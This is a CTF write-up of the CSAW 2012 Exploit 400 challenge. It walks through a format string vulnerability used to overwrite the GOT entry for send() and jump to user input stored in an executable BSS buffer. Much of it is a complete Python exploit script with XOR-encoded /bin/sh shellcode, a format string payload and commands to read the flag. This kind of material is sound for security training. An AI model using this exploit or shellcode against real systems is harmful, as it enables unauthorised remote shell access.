code hacking, zen coding

CSAW 2012 CTF – Exploit 400 Write-up

We have a binary with a format string vulnerability:

$ nc localhost 23456
What would be the last word you want say before the Mayan Calender ends?
Saying: %p %p %p %p
Starting count down to the end of the world!
         /V V V\
        /V  V  V\
       /     V   \
      /     VV    \    __________
     /        VVV  \    |    |
    /       VVVV    \   |(nil) 0xbf9bb444 0xb7787e58 0xd696910|
   /           VVVVV \    |__________|
      VVVVVVVVVVVVV       |

A format string vulnerability is fantastic tool for a GOT table overwrite. But what can we overwrite and where to jump ?

.bss:0804B100 _bss            segment para public 'BSS' use32
.bss:0804B120 ; char statement_4029[]
.bss:0804B120 statement_4029  db 200h dup(?)          ; DATA XREF: sdoomsday+27o
.bss:0804B120                                         ; sdoomsday+3Fo ...
.bss:0804B120 _bss            ends

Hmm.. Buffer in BSS, fixed offset ?

.text:08048B91                 mov     eax, [ebp+fd]
.text:08048B94                 mov     dword ptr [esp+0Ch], 0 ; flags
.text:08048B9C                 mov     dword ptr [esp+8], 1FFh ; n
.text:08048BA4                 mov     dword ptr [esp+4], offset statement_4029 ; buf
.text:08048BAC                 mov     [esp], eax      ; fd
.text:08048BAF                 call    _recv

Lovely! User input is stored into the BSS section and this section is RWE !

So our format string will overwrite the GOT entry for send() and replace it with the offset of the user input buffer.

I lost a monumental amount of time with an exploit that was working perfectly on my local Debian Squeeze VM and would output nothing on the challenge box. I rewrote it several time with different strategies to no avail. One of our team member tried on his Ubuntu box and it wouldn’t work either o_O .. so I fired up a CentOS VM and indeed, the format string had a off by one difference in the second argument. Making the exploit works on CentOS made it work on the Ubuntu and the challenge box. I don’t really know what’s up with Debian’s libc.

The final layout (but probably many other layouts worked before I discovered the issue with the Debian box) :

[short relative JMP to Shellcode] [Format string] [Shellcode]

For the shellcode since there is a small filter, we will just use a XOR-encoded polymorphic shellcode.

#!/usr/bin/env python

import socket
import sys
import struct
from struct import pack
import time

shellcode = ''

# dup2(4) as our socket is fd 4
shellcode = "\x31\xc0\x31\xdb\x31\xc9\xb1\x03\xfe\xc9\xb0\x3f\xb3\x04\xcd\x80\x75\xf6"

# /bin/sh polymorphic
shellcode += "\xeb\x12\x31\xc9\x5e\x56\x5f\xb1\x15\x8a\x06\xfe\xc8\x88\x06\x46\xe2\xf7\xff\xe7\xe8\xe9\xff\xff\xff\x32\xc1\x32\xca\x52\x69\x30\x74\x69\x01\x69\x30\x63\x6a\x6f\x8a\xe4\xb1\x0c\xce\x81"

host = sys.argv[1]
port = 23456

guess_mode = int(sys.argv[2])

def connect_to_host():
  s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  s.connect((host, port))

  print repr(s.recv(1024)) # banner
  print repr(s.recv(1024)) # banner

  return s

def exploit(payload):

  s = connect_to_host()

  s.send(payload + "\n")


  s.send("\nls -la\n")
  s.send("cat key\n")

  while True:
    data = s.recv(1024)
    if data:
      print repr(data)

def do_fmt(payload):

  s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  s.connect((host, port))

  print repr(s.recv(1024))
  print repr(s.recv(1024))

  s.send(payload + "\n")

  print "len payload=", len(payload)

  data = s.recv(len("Starting count down to the end of the world!\n"))

  for i in xrange(0,6):
    print repr(s.recv(32))
  data = s.recv(194)

  data = s.recv(4096)

  data = data[:-63]

  print repr(data)

  return data

format_string = "%.12d%6$n%.145d%7$n%.82d%8$nAAAA%9$n"

jump_distance = 4*4 + len(format_string) + 2 # jump over format string to shellcode

print "jump distance=", jump_distance

payload = '\xeb' + chr(jump_distance) + '\x90' * 2

payload += pack("<I", 0x804B068) # GOT table send()
payload += pack("<I", 0x804B069)
payload += pack("<I", 0x804B06A)
payload += pack("<I", 0x804B06B)

payload += format_string

payload += shellcode